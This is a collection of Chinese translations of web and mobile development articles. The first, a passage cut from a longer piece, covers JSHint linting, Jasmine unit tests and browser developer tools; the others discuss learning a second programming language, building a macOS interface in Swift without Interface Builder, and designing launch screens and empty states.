![](http://ww4.sinaimg.cn/large/9b5c8bd8jw1f0zupgeoxdj20m80d1q40.jpg) Visual Studio Code 代码检验。 上图中,你能看到 Visual Studio Code 抱怨我代码中的几个错误。Visual Studio Code 的代码检验器,和大多数检验器一样,可配置你关心的检验规则以及对其中"错误"(必须修正)和"警告"(别偷懒啊,总要修复的)的定义。 如果你不想安装任何东西,也不想折腾编辑器,另一种好方法是使用[JSHint.com](http://jshint.com)在线检验代码。JSHint 差不多是最流行的检验器,它基于另一个检验器 JSLint (谁说它们长得像来着?)。JSHint 的诞生一部分原因是由于 JSLint 太过严格。你可以直接在编辑器里或是通过命令行使用 JSHint,最简单的体验方法是在它的网站上试试。 ![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0zuppot76j20m804w0t8.jpg) JSHint 网站。 乍看可能不太明显,其实左边是在一个在线代码编辑器。右边的是一份对左边代码的检验报告。要看到检验效果,最简单方式是在代码里随便写错点什么。我这里把 `main` 函数名改成了 `main2`。 function main2() { return 'Hello, World!'; } main(); 马上,网页就对此给我报了两个错误。注意了,这并不是语法错误。代码在语法上是完全没问题的,但是 JSHint 发现了你可能忽视了的问题所在(当然了,这里代码只有5行,但想象下一个大文件里函数定义和调用之间隔了好多行的时候)。 ![](http://ww4.sinaimg.cn/large/9b5c8bd8jw1f0zuq1qvjvj209t070wei.jpg) JSHint 错误。 来个更真实的例子如何?以下的代码(嗯现在我_是_用了 jQuery),我写了点简单的 JavaScript 做表单验证。都是些鸡毛蒜皮的东西,不过今天几乎一半的 JavaScript 代码做的都是这些事(哦哦当然还有创建弹出框然后问你要不要"赞"这个网站。真特么爱死这些了)。这些代码可以在 demo_jshint 文件夹的 app_orig.js 中找到。 function validAge(x) { return $.isNumeric(x) && x >= 1; } function invalidEmail(e) { return e.indexOf("@") == -1; } $(document).ready(function() { $("#saveForm").on("submit", function(e) { e.preventDefault(); var name = $("#name").val(); var age = $("#age").val(); var email = $("#email").val(); badForm = false; if(name == "") badForm = true; if(age == "") badForm = true; if(!$.isNumeric(age) || age <= 0) badForm = true; if(email == "") badForm = true; if(invalidemail(email)) badForm = true; console.log(badform); if (badform) alert('Bad Form!'); else { // do something on good } }); }); 开始是两个辅助验证的函数(对年龄和 email)。然后是 `document.ready` 代码块里对表单提交的监听。获取表单中三个字段的值,检查是否为空(或是无效输入),若表单无效就弹出警告,否则继续(在我们的例子里,什么也没发生,表单没变化)。 扔到 JSHint 上看看发生了啥: ![](http://ww3.sinaimg.cn/large/9b5c8bd8jw1f0zuqkjapdj20b90s5q3x.jpg) JSHint 对我们样例代码的报错。 哇塞好多东西!看起来是类似的问题出现了多次。我开始用检验器的时候这种情况挺常见。我并没有弄出很多种错误,而仅仅是同种错误的重复。第一个非常简单—— 检查相等时使用三等号替代双等号。简单来说就是用更严格的标准检测空字符串。先修复这个(demo_jshint/app_mod1.js)。 function validAge(x) { return $.isNumeric(x) && x >= 1; } function invalidEmail(e) { return e.indexOf("@") == -1; } $(document).ready(function() { $("#saveForm").on("submit", function(e) { e.preventDefault(); var name = $("#name").val(); var age = $("#age").val(); var email = $("#email").val(); badForm = false; if(name == "") badForm = true; if(age == "") badForm = true; if(!$.isNumeric(age) || age <= 0) badForm = true; if(email == "") badForm = true; if(invalidemail(email)) badForm = true; console.log(badform); if (badform) alert('Bad Form!'); else { // do something on good } }); }); JSHint 报告变成了: ![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f0zur1n2y4j20am0lb0t8.jpg) JSHint 对我们样例代码的报错。 算是解决了。下一个错误类型是"未声明变量"。看着有点诡异。如果使用 jQuery 的话,你知道`$` 是存在的。`badForm` 的问题就更简单点——我忘记用 `var` 声明它了。那我们怎么解决`$`的问题呢?JSHint 提供了对代码规则检验方法的配置。在代码里加上一个注释以后,我们告诉 JSHint `$` 变量是作为全局变量可以放心使用。接下来我们补上这个注释,并且加上丢失的 `var` 声明(demo_jshint/app_mod2.js)。 /* globals $ */ function validAge(x) { return $.isNumeric(x) && x >= 1; } function invalidEmail(e) { return e.indexOf("@") == -1; } $(document).ready(function() { $("#saveForm").on("submit", function(e) { e.preventDefault(); var name = $("#name").val(); var age = $("#age").val(); var email = $("#email").val(); var badForm = false; if(name == "") badForm = true; if(age == "") badForm = true; if(!$.isNumeric(age) || age <= 0) badForm = true; if(email == "") badForm = true; if(invalidemail(email)) badForm = true; console.log(badform); if (badform) alert('Bad Form!'); else { // do something on good } }); }); JSHint 报告变成了: ![](http://ww4.sinaimg.cn/large/9b5c8bd8jw1f0zurgx350j209204gwed.jpg) JSHint 对我们样例代码的报错。 哇哦!就快结束了!最后一个问题恰好的展示了 JSHint 在提示最佳代码风格实践和指出错误以外的用途。这里我忘了写过一个处理年龄验证的函数。你看我创建了 `validAge`,但是在表单验证代码区域没使用它。也许我该删了这个函数 —— 反正也只有一行,但我觉得留下来更好——以免以后验证逻辑越来越复杂。以下就是完整的代码了(demo_jshint/app.js)。 /* globals $ */ function validAge(x) { return $.isNumeric(x) && x >= 1; } function invalidEmail(e) { return e.indexOf("@") == -1; } $(document).ready(function() { $("#saveForm").on("submit", function(e) { e.preventDefault(); var name = $("#name").val(); var age = $("#age").val(); var email = $("#email").val(); var badForm = false; if(name === "") badForm = true; if(age === "") badForm = true; if(!validAge(age)) badForm = true; if(email === "") badForm = true; if(invalidEmail(email)) badForm = true; console.log(badForm); if(badForm) alert('Bad Form!'); else { //do something on good } }); }); 最终版本"通过"了 JSHint 的测试。虽然实际上并不完美。注意到我两个检验函数一个叫 `validAge` 一个叫 `invalidEmail` ,一个返回肯定一个返回否定。更好的做法是保持语义一致性。还有每次这个验证函数运行的时候,jQuery 需要获取DOM 中的三个元素,其实它们只需要被获取一次。我应该在表单提交回调函数外创建这些变量,每次验证的时候重复使用。如我所言,JSHint 不是完美的,但代码最终版本绝对比第一版要好很多,我的修改也没有花多少时间。 不同用途的代码检验器有 JavaScript([JSLint](http://www.jslint.com)和 [JSHint](http://www.jshint.com)),HTML([HTMLHint](http://htmlhint.com/)和 [W3C Validator](https://validator.w3.org/))和CSS ([CSSLint](http://csslint.net/))。如果编辑器支持,而你还是个"前端潮人",还可以用 Grunt 和 Gulp 工具对这些进行自动化。 ## 测试 我不写测试。 没错,我话就撂这儿了。世界不会停止转动。不过,在开发客户端项目时,我其实_是_写测试的(好啦实际是我_尝试_去写测试),但是我的主要工作写博客,和各种功能的样例代码。这些代码只为验证概念而非投入生产环境使用,因此不写测试没什么大不了的。其实,在我成为布道者和不做"实际"工作之前,我也是敢这么放话的,不写测试的借口和不使用代码检验器一样。不过一些给检验器加分的因素放在测试上也很好用。 首先——许多编辑器会为你自动生成测试代码。例如在 Brackets 中,可以使用 [xunit](https://github.com/dschaffe/brackets-xunit) 扩展。借助它你只要在 JavaScript 文件上调出右键菜单就能生成测试代码(支持多种流行测试框架格式)。 ![](http://ww1.sinaimg.cn/large/9b5c8bd8jw1f0zus4jz8sj20m80hymy4.jpg) xunit 创建的测试。 该扩展基于现存代码去生成测试代码。生成的测试代码只是个模板,你需要自己去填写具体内容,这避免了一些无聊的重复劳动。 ![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f0zuthjkyxj20m80hxjtd.jpg) xunit 创建的测试。 完成了测试细节的填充后,该扩展会帮你自动执行测试。都到了这份上了,不写代码基本上就只是懒了。 ![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f0zutuzzmij20m80l50we.jpg) 测试报告。 你也许听过 TDD (测试驱动开发)。说的是在写具体代码之前先把单元测试写好。本质上是测试主导你的开发。写下代码并看它通过测试的时候,这些通过的测试能让你确保自己没有走错路。 我觉得这个想法不错,不过让所有人都这么做的确是有点困难。我们干脆先从简单点的开始。想象下你手上有一些据你所知功能正常的代码,然后你发现了个 bug。在修复它之前,你可以创建一个测试去检验出此 bug,修复 bug,然后跑跑测试,确保此后相同的 bug _不会_再次出现。如我所言,这不是最理想的实践,但也能算是朝着以后在开发所有阶段实践测试的一个过渡。 我用我写的一个精简数字显示的函数作为 bug 的例子。109203可以精简为109K。更大的例如2190290这样的数可精简为2M。看下代码然后我会说说 bug。 var formatterModule = (function() { function fnum(x) { if(isNaN(x)) return x; if(x < 9999) { return x; } if(x < 1000000) { return Math.round(x/1000) + "K"; } if(x < 10000000) { return (x/1000000).toFixed(2) + "M"; } if(x < 1000000000) { return Math.round((x/1000000)) + "M"; } if(x < 1000000000000) { return Math.round((x/1000000000)) + "B"; } return "1T+"; } return { fnum:fnum } }()); 你马上看出问题了?还是放弃了?当输入9999的时候,会返回10K。尽管此精简可能有用,但代码对于所有小于10K的数字应该一视同仁,都返回它们的原始值。这个修正很简单,我们正好当作添加测试的机会。关于测试框架我选择 [Jasmine](http://jasmine.github.io/)。Jasmine 的测试易于编写和运行。最快的使用方法是下载这个库。解压后你会发现 SpecRunner.html 文件。此文件负责引入我们的代码,引入测试,而后运行测试和生成漂亮的报告。它依赖于压缩包中的 lib 文件夹,你一开始可以把 SpecRunner 和 lib 文件夹一起复制到你的服务器某处。 打开 SpecRunner.html 你会看到。 script tags here... more script tags here... 在第一个注释下你需要删除已有的代码然后加上一个 script 标签引入你的代码。如果下载了此文的代码,你可以在 demo4 文件夹里找到 formatter.js 文件。之后你要加一个 script 标签引入测试代码。你可能之前没见过 Jasmine,但你看看这个测试代码,_非常_易读,新手也能懂。 describe("It can format numbers nicely", function() { it("takes 9999 and returns 9999", function() { expect(9999).toBe(formatterModule.fnum(9999)); }); }); 我的测试说的是当9999作为输入时应该返回9999。在浏览器里打开 SpecRunner.html 你就能看到错误报告。 ![](http://ww4.sinaimg.cn/large/9b5c8bd8jw1f0zuu5bbhaj20m80e1q61.jpg) 测试失败的报告。 修复起来很简单。把条件里的数字从9999增到10000: if(x < 10000) { return x; } 不论何时再跑测试你能看到一片欢乐。 ![](http://ww2.sinaimg.cn/large/9b5c8bd8jw1f0zuuh4xj8j20m804y74k.jpg) 测试成功的报告。 你估计能想出一些相关测试完善这套测试。通常来说,积极地添加测试以覆盖你代码的各种可能使用场景没有任何不妥。关于日期和时间的牛库 [Moment.js](http://momentjs.com/),不是我骗你,有超过五万七千多个测试。你真没看错,就是几万个。 JavaScript 测试框架的其他选择有 [QUnit](https://qunitjs.com/)和 [Mocha](http://mochajs.org/)。和代码检验一样,你能使用 Grunt 之类的工具自动化测试,甚至可以往全栈靠一点,使用 [Selenium](http://www.seleniumhq.org/) 测试浏览器。 ## 浏览器开发者工具 我提到的最后一个工具在浏览器里——开发者工具。你能找到许多关于此的文章、演讲和视频,我亦不需赘言。在今天所说的所有内容中,这一条我认为应该是 web 开发者的**必需知识**。你可以写出不能用的代码,可以不是什么都懂,但起码还有开发者工具帮你找出错误所在,然后你只需要 google 一下问题就能解决了。 再多提一个建议,你不该把自己吊在一个浏览器的开发者工具上。几年前我在鼓捣 App Cache (没错我就是爱自虐),碰上了个只在 Chrome 下出现的问题。当时开着开发者工具,但是没啥用。我灵机一动用 Firefox 打开我的代码,使用它的工具调试,然后我**立刻**就发现了问题所在。Firefox 列出的关于请求的信息比 Chrome 多。我用了一次这个工具立马解决了问题(好吧其实这是胡诌的,Firefox 的确显出问题所在不过我修复问题也用了好些时间)。如果你卡在某个问题上,不如试试打开其他浏览器看看错误报告有没有多说些什么。 万一万一你真从没_见_过开发者工具,以下有些主流浏览器工具阅览指南和极好的详细教程。 ### Google Chrome 点击浏览器右上角的汉堡菜单图标,选择"更多工具" -> "开发者工具"。也可以用键盘快捷键打开,例如在 OSX 下快捷键是 `CMD+SHIFT+C`。关于谷歌的开发者工具文档可到 [Chrome 开发者工具纵览](https://developer.chrome.com/devtools)寻找。 ### Mozilla Firefox 在主菜单的"工具"栏里,选择 "Web 开发者" -> "切换工具箱"。Firefox 工具栏很酷,在同一菜单下,有许多快速打开开发者工具命令。详情请见 [Firefox 开发者工具](https://developer.mozilla.org/en-US/docs/Tools) ### Apple Safari (传说中用来看 Apple keynotes 的浏览器) 你得先开启"开发"菜单才能使用开发者工具。进入 Safari 偏好设置,选择"高级",选中"在菜单栏中显示'开发'菜单"。然后就能从"开发菜单"里通过"显示 Web 检查器"(或者其下的其他三个菜单项)打开工具。详情见[关于 Safari Web 检查器](https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Introduction/Introduction.html)。 ### Internet Explorer 点击浏览器右上角的设置按钮或按下键盘 F12键打开开发者工具。详情见[使用 F12 开发者工具](https://msdn.microsoft.com/library/bg182326%28v=vs.85%29)。 ## 更多学习 有时候感觉像我们这些做开发的,工作就从来没有完成的时候。你知道在这篇文章写作期间有13个新的 JavaScript 框架发布了么?讲真!以下是最后几个让你学习并且跟上潮流的建议,尽量跟上。 学习方面,我选择专注于 [Mozilla Developer Network](http://developer.mozilla.org)(你要是准备 google 什么,最好加上 "mdn" 作为前缀),[CodeSchool](http://www.codeschool.com) (一个商业的编程学习视频网站,内容还不错), 和 [Khan Academy](https://www.khanacademy.org/)。特别要说下 Mozilla 开发者网络(MDN),多年来我以为它只有 Netscape/Firefox 知识而忽视了它,蠢死了我。 另一建议是多读代码!你们中许多人都用过 jQuery,但你有打开它的源码看看它的实现么?读别人的代码是一个很好的学习技巧的和方法的途径。还有一个听起来可能有点恐怖,不过我真的强烈建议你分享自己的代码。不光是多了双雪亮的眼睛(或者成千上万双)来审视你的代码,你也许也能帮助其他的人。几年前我看见一个初级程序员分享他的代码,虽然里面有些菜鸟级的错误,但也有一些超棒的技巧。 为获取最新资讯,我订阅了 [Cooper Press](http://cooperpress.com) 发行的一系列周报。有 HTML 的,JavaScript 的,Node 的和移动开发(Mobile) 和其他一系列。信息可能会淹没你,尽你所能阅读就行。当我看到某个新发布的工具有我_并不_需要的 XXX 功能的时候,我也不用去学它。我只要记住"诶哟有个工具有 XXX 功能",以后我需要这个功能的时候再去学习。 _感谢[Lemsipmatt](https://flic.kr/p/5PS638)提供的首图_ ================================================ FILE: TODO/life-after-js-learning-2nd-language.md ================================================ > * 原文地址:[Life after JavaScript: The Benefits of Learning a 2nd Language](https://www.sitepoint.com/life-after-js-learning-2nd-language/) > * 原文作者:本文已获原作者 [Nilson Jacques](https://www.sitepoint.com/author/njacques/) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[gy134340](https://github.com/gy134340) > * 校对者:[Tina92](https://github.com/Tina92),[lsvih](https://github.com/lsvih) # 生活在 JavaScript 之中:学习第二门语言的好处 # 你会多少种编程语言?根据最近的调查,大约 80% 的读者至少会两种。超过半数的人经常使用 PHP,我敢打赌大多数人就像我一样使用这门语言开始他们的 Web 开发。 最近我准备向我的简历上添加一门别的编程语言(好像在我的“待学习”清单里没有足够的东西)。最终我决定在网上学习 Scala 教程。对于不熟悉它的人来说,Scala 就是一门通用的强类型的编译语言(像 Java,它编译成可移植的字节码)。虽然像 JavaScript 一样它是多范式的编程语言,但它有很多存在于函数式编程语言中先进的函数式编程(FP)特性,比如说 Haskell。如果你对最近函数式编程语言的流行很感兴趣,那你可以仔细研究一下 Scala。 ![Silhouette of a person made from programming terms and language names](https://dab1nmslvvntp.cloudfront.net/wp-content/uploads/2017/03/1490029714Fotolia_101549014_Subscription_Monthly_M-300x267.jpg) 你也许在想“为什么我现在要再多学一门语言,我准备一辈子都用 JavaScript 了!”又可能你有一堆 JavaScript 的东西要学习。仍然有一些很好的理由去学习一门新的语言。真正掌握概念的好方法,如静态类型、编程范例,或者函数式编程,是用一种语言工作,这会迫使你使用这些东西。JavaScript 的灵活性很是吸引人,但它也可能导致一些问题。学习另一种语言写代码的方式会教会你不同看待与处理问题的方法,这也会改变你写 JavaScript 的方式。另外,有了语言所限制的编程风格将会真正帮助你了解它的优劣。 接触新的编程范式、概念和风格对我们这些没接受过正规训练的自学者会有莫大的帮助。计算机科学的毕业生可能已经将许多这些概念作为他们学习的一部分。为了更好的成长,需要考虑学习那些与 JavaScript 完全不同的语言。 值得一提的是,一些现在流行的库和设计模式正是从其他语言中提取出来的概念。Redux,一个 React 的状态管理插件,是借鉴 Elm 中数据流系统。Elm 本身是受 Haskell 启发的一门编译成 JavaScript 的语言。学习别的编程语言可以更好的帮助你更好的理解这些库和它们背后的概念。如果呆在 JavaScript 的舒适区中,你就只能依靠别人从别的编程语言中提取这些见解,并以比较浅显的方式展现出来。 学习新的语言也会影响你看待第一门语言的方式。当我开始学习葡萄牙语时,它改变了我看待英语的方式。当你不得不以一种其他的方式做事情时,它会强迫你以母语来思考如何做。你不再觉得理所当然,而是会开始追根溯源。你可以看到一些语言的相似之处:例如葡萄牙语和英语都是起源于拉丁语,它们的一些动词很接近,你可以轻易猜出它们的意思。对于编程语言也是一样,特别是你还只会一个的时候。接触其他语言下将会帮助你思考设计 JavaScript 时所采取的设计选择。一个更为具体的例子是,学习一门支持类继承的语言可以让你对比其与 JavaScript 原型对象继承体系的不同之处。 WebAssembly (WASM),一个实验中的偏底层语言,将很快可以在浏览器中使用。C 和 C++ 等高级语言将可以编译成 WASM,并获得比 JavaScript 更小的文件和更出色的表现。这将把浏览器向其他语言开放,在未来将一定会有越来越多的语言可以被编译成 WASM。JavaScript 的创造者 Brendan Eich 最近说他可以预见 [JavaScript 在未来可能会过时](http://www.infoworld.com/article/3175024/web-development/brendan-eich-tech-giants-could-botch-webassembly.html)。可以确定的是,JavaScript 将会在长时间内依然重要,但使用另一门语言肯定不会伤害你的就业前景,也可以避免你被局限于 JavaScript 开发的小笼子里。 ### 更多篇文章 ### * [Behind the Scenes: A Look at SitePoint's Peer Review Program](https://www.sitepoint.com/behind-the-scenes-sitepoints-peer-review-program/?utm_source=sitepoint&utm_medium=relatedinline&utm_term=&utm_campaign=relatedauthor) * [SitePoint Needs You: The 2017 JavaScript Survey](https://www.sitepoint.com/2017-javascript-survey/?utm_source=sitepoint&utm_medium=relatedinline&utm_term=&utm_campaign=relatedauthor) 如果你真的没有时间学习新的语言,你不必远离 JavaScript 就可以获得我刚刚提到的好处。上周我们出版了完全用 TypeScript 编写的[the second part of our Angular 2 tutorial series](https://www.sitepoint.com/understanding-component-architecture-angular/)。TypeScript 是 JavaScript 的超集,所以你知道的大部分都会应用。它添加了静态类型和接口以及装饰器的概念(后者将会出现在 JavaScript 下一个版本中)。花费一些时间学习 TypeScript 将会加深你对静态语言和动态语言的理解,也会扩展你作为 JavaScript 程序员的知识面和就业能力。作为 Angular 2 的默认编程语言,就业前景很广阔。你从中学习到的理念会让你将来学习 Java 或者 Scala 更为简单。 你会用除了 JavaScript 之外的编程语言吗?对于 JavaScript 程序员学习的第二门语言又有什么好的建议?WebAssembly 将会改变游戏规则吗?我很乐意听取你们的意见,在下方给我评论吧! 这篇文章有用吗? ================================================ FILE: TODO/life-without-interface-builder.md ================================================ > * 原文地址:[Life without Interface Builder](https://blog.zeplin.io/life-without-interface-builder-adbb009d2068) > * 原文作者:[Zeplin](https://blog.zeplin.io/@zeplin_io?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/life-without-interface-builder.md](https://github.com/xitu/gold-miner/blob/master/TODO/life-without-interface-builder.md) > * 译者:[Ryden Sun](https://github.com/rydensun) > * 校对者:[talisk](https://github.com/talisk) [allenlongbaobao](https://github.com/allenlongbaobao) # 没有 Interface Builder 的生活 ![](https://cdn-images-1.medium.com/max/800/1*UTs12drXJKnouZTb5jP79A.png) 在过去的几个月,在 Zeplin 的 macOS 版本 app 中,我们开始在开发一些新的功能时,不使用 Interface Builder 或者 Storyboards。 在 iOS/macOS 社区,这是一个很具有争议性的话题,并且作为一个之前极其依赖 Interface Builder 的团队,我们想用一些真实的案例,来分享一下我们为什么做了这个转换。即便这篇文章是从 macOS 方面出发的,但其中我提到的任何东西都可以被应用到 iOS 上。 ### 为什么? 在用了两年的 Objective-C 后, Zeplin 在 2015 年末,第一次用 Swift 来编写其中一个模块。从那以后,我们一直使用 Swfit 开发新的功能并且逐渐地迁移之前存在的部分。目前,macOS 版本的 app,有 75% 是用 Swift 编写的。 有趣的是,在我们刚开始用 Swift 时,就开始考虑放弃 Interface Builder。 #### 太多的可变类型 在 Swift 中使用 Interface Builder 会带来很多 optional(Swift 中的可选类型),而且它们都不属于类型安全的域。我也不是仅仅在讨论 outlets,如果你在 Storyboards 中使用 segues,你的**数据模型中的 property 也会变成可选类型**。事情就是在这里变得不受控制。你的 view controller 是要求 property 正常工作的,现在它们变成了 optional,你就开始到处写 `guard`,开始变得混乱,考虑在哪里能够优雅地处理它们,哪里能简单地从 `fatalError` 中逃脱出来。这是很容易出错的,而且会明显地降低代码的可读性。 > 你的 view controller 是要求 property 正常工作的,现在它们变成了 optionals,你就开始到处写 `guard`。 ……除非你使用 Implicitly Unwrapped Optionals(隐式解析可选),使用操作符`!`。这在大多数时候是有用的,不会出现任何问题,但这样感觉是在欺骗 Swift 平台。我们大多数人相信,Implicitly Unwrapped Optionals 应该在极少数的场景下使用,而且在日常开发中是应该避免在 Storyboards 中使用。 #### 设计的改变 在 Objective-C 写布局代码还不算太糟,但是使用 Swift 就变得更简单了,并且最重要的是,更易读。声明 Auto Layout 的 constraints 很轻松也很漂亮,这要感谢像 [Cartography](https://github.com/robb/Cartography) 这样的库。 ``` // 创建 property 时定义外观表现 let editButton: NSButton = { let button = NSButton() button.bordered = false button.setButtonType(.MomentaryChange) button.image = NSImage(named: "icEdit") button.alternateImage = NSImage(named: "icEditSelected") return button }() … // 用 Cartography 声明 Auto Layout 限制 constrain(view, editButton, self) { view, editButton, superview in editButton.left == view.right editButton.right <= superview.right - View.margin editButton.centerY == view.centerY } ``` 我猜想,我们可以将使用 Interface Builder 的开发者分为两种类型:一类是只用来做 Auto Layout 和 segues 的,一类是也会用来附加设计的;在 Interface Builder 设置颜色,字体和其他可视化的属性。 > 在使用 Interface Builder 时,你会发现你自己在复制粘贴你之前写好的视图 —— 并且你都不会对这种行为感到不好。 我们 _稍稍微地_ 属于第二种类型 !Zeplin 是一个常变的 app,当只有设计元素改变的时候,这最终就开始困扰我们了。让我们假设,你只需要改变一个公用按钮的背景颜色。你需要打开每一个 nib 文件并且手动的改变它们。当这个需要经常重复的时候,你就会可能漏掉一些。 当你使用纯代码来编写视图时,**这会激励你复用代码**。正相反,在使用 Interface Builder 时,你会发现你自己在复制粘贴你之前写好的视图 —— 并且你都不会对这种行为感到不好。 #### 可复用的视图 根据 Apple 的观点,Storyboards 是未来。从 Xcode 8.3开始,我们在开发项目的时候,都没有一个可以不使用 Storyboards 的选项。😅 这确实很令人伤心,**这都没有一个直接了当的方法来复用 Interface Builder 中的视图**。 这就是为什么,我们发现自己一直用纯代码来编写一些常用的公共视图。创建一个可以同时用代码和 nib 初始化的视图也是棘手的,强制你去实现两个构造器并且去做同样的初始化行为。当你只是用代码时,你可以安全的忽略 `_init?(coder: NSCoder)_`。 #### 转换背后 在转换之后,我们有了一个认知:使用代码构建界面提升了我们对于 `UIKit` 和 `AppKit` 组件的理解。 我们在转换一些之前用 nib 实现的旧的功能。当我们尝试去保留外观,我们必须去学习更多的关于不同的属性在做什么和他们是如何影响一个组建的外观。在之前,他们只是被 Interface Builder 默认设置的一些选择和复选框,而且它们就这样起作用了。 > 使用代码构建界面提升了我们对于 `UIKit` 和 `AppKit` 组件的理解。 对于导航性的组件,像 `UINavigationController`,`UITabBarController`,`NSSplitViewController` 这些都是可行的。尤其对于新手来说,他们极其依赖于这些组件但又不是真正地理解它们在幕后是怎么工作的。当你尝试用代码来初始化和使用它们时,就会立即感觉很舒服。 ![](https://cdn-images-1.medium.com/freeze/max/30/1*xOHvn40BYFM2GyaNAvLsCQ.gif?q=20) ![](https://cdn-images-1.medium.com/max/800/1*xOHvn40BYFM2GyaNAvLsCQ.gif) Zo 在打开一个庞大的 Storyboard 时很煎熬。 #### 调试的问题 是否曾有过一个 bug,你花费几分钟时间来追溯并且最终发现,造成它的原因是一个没有被连接起来的 outlet 或者是 nib 中一个你无意中改变的选项? 每一个你用代码创建的组件都会被包在一个单独的源文件,因此你不需要去担心在 nib 和源文件之间的跳转。这会帮助我们在调试问题是更迅速,并且一开始就会引入更少的 bug。 #### 代码审核和合并冲突 为了读懂和理解透彻 nib,你要不得是一个 nib 奇才,要不你就得花费相当多的时间!这就是为什么**大多时间,人们都直接在审核代码时略过 nib 的改动,因为它太吓人了。**想一想这些潜在的可视的 bug 可能会因为在代码中使用常量和文字直接被消除掉。 在反对 nib 的声音中,冲突的合并是你会最经常听到的抱怨。如果你曾在一个使用 nib,尤其是 Storyboards 的项目中工作过,你可能也亲身经历过。你知道这通常意味着:一个人的工作会需要被回滚然后再重应用。这些事最令人烦躁的冲突,而且当你团队变大时,会变得越来越让人沮丧。你可以相应地分配任务,这在大多数时候可以克服这个问题。但在 Storyboards,即使在你单独写一个 ViewController 时,这样的问题都可能发生。 出人意料的,当时这对于 Zepin 来说,不算是个问题 —— 因为我们是一个比较小的团队,我猜。这也是为什么我把这一点放到了最后来说。 ### 结论 我已经列出了很多的原因来解释为什么停止使用 Interface Builder 是一个好主意,但别误会,有一些用例下,使用 Interface Builder 也是有道理的。即使我们故意省略这些用例,因为我们目前,在没有 Interface Builder 的情况下更加开心了。 不要害怕去实践,并且去看看这是否也适合你们的工作流程! * * * 感谢我们可爱的 [@ygtyurtsever](https://twitter.com/ygtyurtsever)。让我们知道你是怎么想的,在下面留言吧!👋 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/little-big-details-for-your-mobile-app.md ================================================ > * 原文地址:[Little Big Details For Your Mobile App](http://babich.biz/little-big-details-for-your-mobile-app/) * 原文作者:[Nick Babich](http://babich.biz/author/nick/) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[mypchas6fans] (https://github.com/mypchas6fans) * 校对者:[DeadLion] (https://github.com/DeadLion) [siegeout] (https://github.com/siegeout) # 开发移动应用,你应该注意这些小细节 你的 app 的成功涉及很多因素,但最重要的是总体用户体验。市场上脱颖而出的 app 都提供了很棒的 UX。具体到设计移动 UX,遵从最佳实践是一个好方法,但是构建蓝图的时候,往往容易忽略一些锦上添花的设计元素。而“不错的体验”和“非凡的体验”之间,通常取决于我们设计这些小细节的用心程度。 通过本文你可以看到这些 __小中见大的细节__ 和设计中那些更明显的元素同样重要,以及它们如何决定 app 的成功。 ## 启动页 当用户打开 app 时,最不能做的事情就是让他们等待。但是如果 app 的初始设置非常耗时,又 __不可能__ 优化该怎么办?你 __不得不__ 让用户等。如果他们愿意等,你得知道如何 __吸引他们__。启动页解决了等待的问题,让你有一个简洁有力的窗口来吸引用户。 ![](http://babich.biz/content/images/2016/08/1-kA8WMVt3-7UxbCYieFoOsg.png) 图片来源: mobile-patterns 这里有一些小贴士,在设计启动页的时候记得注意: * [Google](https://developer.android.com/training/articles/perf-anr.html) 和 [Apple](https://developer.apple.com/ios/human-interface-guidelines/graphics/launch-screen/) 都建议用启动页 __模拟更快的加载__ 来提高用户体验。启动页给到用户即时反馈,表示 app 已经启动并正在加载。 为了保证人们等待的时候不厌倦,给他们一些 __娱乐__:有意思的,意想不到的,或者任何可以抓住用户注意力的东西,时间长到够 app 启动就好。 ![](http://babich.biz/content/images/2016/08/1-88tQ_gtQrWY7LQXUMglNzg.gif) 图片来源: Cuberto * 如果 app 的初始设置超过 10 秒钟,考虑使用 [进度条](http://babich.biz/progress-indicators/) 来表示正在加载。__记住,不确定时间的等待给人的感觉要比确定时间的等待更加漫长__。所以,你要给用户一个清晰的标识,他们需要等多长时间。 ![](http://babich.biz/content/images/2016/08/1-Qq7rzaTpyd2OndF3zgyZtA.png) 通过使用进度条让加载过程更自然. 图片来源: de_martin ## 空状态 我们通常会设计一个丰满的界面,布局中的所有元素都完美的放置,看上去很美。但是如果界面正在等待用户操作,该怎么设计?我要说的就是空状态。设计空状态是非常重要的,因为即使它是一个临时状态,它也会是 __app 中的一份子__, 并且对用户 __有用__。 空状态的意义不仅是一个装饰。除了向用户提示界面上将要展现的内容,它还可以作为一种 __导引__ (介绍 app,展示为用户做的事情),或者 __助手__ (出错时的屏幕)。这两种情况下,你都希望用户能做点什么事情,所以,屏幕不会立即变为空状态。 ![](http://babich.biz/content/images/2016/08/1-W3q0L25iO7HP6ywPYQJ9lQ.png) 图片来源: inspired-ui 下面是一些设计空状态时的小技巧: * __给新手用户设计空状态__。记住新用户的体验很 __重要__。给他们设计空状态的时候要尽量简单。重点放在用户的主要目标,设计互动性最大化:清晰的信息,合适的图像,一个按钮,这就够了。 ![](http://babich.biz/content/images/2016/08/1-Wg23TxJp1IFCSwpiaZ43zw.png) Khaylo Workout 是一个关于空状态设计的很好例子。这个空状态告诉用户为什么会看到当前界面(因为他们还没有挑战任何朋友)以及如何操作(点击 + 图标). 图像来源: emptystat.es * __错误状态__。如果空状态时由于系统或用户错误,你必须在友好度和帮助度之间寻找一个平衡。一点小幽默通常可以抹平出错的沮丧,但是更重要的是你要清楚的说明解决问题的步骤。 